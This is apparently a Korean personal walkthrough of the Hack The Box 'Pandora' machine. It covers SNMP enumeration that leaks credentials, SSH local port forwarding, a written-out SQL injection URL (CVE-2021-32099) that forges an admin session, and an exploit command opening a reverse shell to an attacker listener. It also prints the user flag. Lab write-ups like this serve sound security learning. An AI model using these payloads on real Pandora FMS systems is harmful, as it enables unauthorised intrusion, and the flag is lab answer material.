읽기 안내
Hack The Box의 개인 실습 기록입니다. 문제 환경의 주소·계정·플래그와 원문에 남아 있는 실패·미완료 결과를 그대로 보존했습니다. 코드와 이미지는 이 기록을 읽기 위한 실습 증적입니다.
Pandora

tcp 스캔 결과 80 포트가 열려있다.

사이트 접속 결과 별 다른 기능없이 뷰 페이지만 나온다.
TCP가 아닐수도 있겠다는 생각에 UDP 스캐닝을 시도.

스캔 후 161번이라는 포트가 나왔는데 이걸로 뭘 할 수 있는건 없고 snmpwalk를 사용하기위해 명령어 사용법을 찾아봤다.
snmpwalk -c public -v2c 10.10.11.136

결과가 너무 많은 와중에 daniel 이라는 계정과 비밀번호가 노출된 것을 확인하고 SSH 연결.

/var/www/디렉토리로 들어가본 결과 pandora 라는 디렉토리가 있는 것을 발견. → pandora 라는 서비스가 있다는 것을 유추할 수 있음.

apache configuration 파일을 확인하기 위해 /etc/apache2 디렉토리로 가서 서버 정보를 얻어냈다.


로컬 포트포워딩을 이용하여 pandora 서비스에 접근한다.
로컬 포트포워딩과 하는 이유
로컬 포트포워딩은 로컬 시스템의 특정 포트를 통해 원격 네트워크 자원에 접근하기 위해 사용하는 SSH 터널링 기법이다. 내 PC의 포트를 터널 입구로 만들어, SSH 세션을 통해 원격 서버의 특정 포트로 안전하게 전달하는 방식이다.
[Client PC:localhost:8080] ←(SSH 암호화 터널)→ [SSH Server] → [Target:Remote Host:80]
- 사용자가 로컬PC에서
ssh -L 8080:target:80 user@ssh-server명령을 실행 - 이 명령은 클라이언트(로컬)에서 8080포트로 들어오는 모든 트래픽을 SSH 세션으로 암호화하여 ssh-server로 전송한다.
- ssh-server는 해당 트래픽을
target:80(목표 호스트의 80번 포트)으로 전달한다. - 응답 역시 SSH 터널을 통해 되돌아온다. → 결과적으로, 로컬에서
http://localhost:8080으로 접속하면, 실제로는target:80에 연결되는 것처럼 동작하는것이다.
사용하는 이유
- 보안통신
- 내부망에만 노출된 서비스(MySQL, 웹 서버 등)를 외부에서 직접 연결하지 않고 SSH를 통해 안전하게 접근한다.
- 방화벽 우회
- 방화벽 정책상 특정 포트(ex. 80, 443만 허용)가 막혀 있어도, SSH(22) 터널을 통해 내부 서비스에 접근 할 수 있다.
- 테스트 및 진단
- 로컬에서 원격 서버의 내부 포트를 직접 전달하거나 개발 환경에서 임시로 연결 테스트를 수행할 때 유용하다.
- 서비스 프록시
- 예를 들어 사내망 DB(3306)나 ElasticSearch(9200) 등 외부 접근이 막힌 서비스를 터널링을 통해 로컬에서 사용하게 된다.
$ ssh -L localhost:8000:localhost:80 daniel@10.10.11.136

로컬 포트포워딩 성공. 그리고 PANDORA FMS 라는 서비스가 있다.
혹시나 관련 CVE가 있을까 싶어 우선 버전부터 확인하기 위해 설정 파일을 좀 더 찾아봤다.

version 1.0.0 인 것을 확인
관련 CVE 서칭 결과
https://github.com/akr3ch/CVE-2021-32099
SQL Injection취약점이 터지는 것을 확인
http://localhost:8000/pandora_console/include/chart_generator.php?session_id=a' UNION SELECT 'a',1,'id_usuario|s:5:"admin";' as data FROM tsessions_php WHERE '1'='1

admin으로 접속 성공했고 해당 페이지에서 추가적으로 얻을 수 있는 정보를 확인한 결과
![]()
Pandora FMS v7.0NG 버전 사용 중인것을 확인. 관련 CVE를 서칭
해당 CVE를 통해 리버스 쉘을 연결 할 수 있었다. 아이디와 비밀번호를 모르니 PHPSESSION을 활용했다.
python3 pandorafms_7.44.py -t http://localhost:8000/ -c 't63es342pmq7hun930t2g74m92' -lhost 10.10.14.9 -lport 1337

리버스 쉘에 접속 성공했고 그 다음 home 디렉토리로 넘어 갔다.


홈 디렉토리에는 daniel 과 matt 두 디렉토리가 있었고 확인 결과 daniel 에는 user flag가 없었고 matt에 있었다.

userflag획득 성공.
6ca625667b1e852a89401ac9c7b2d605
작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
다음 글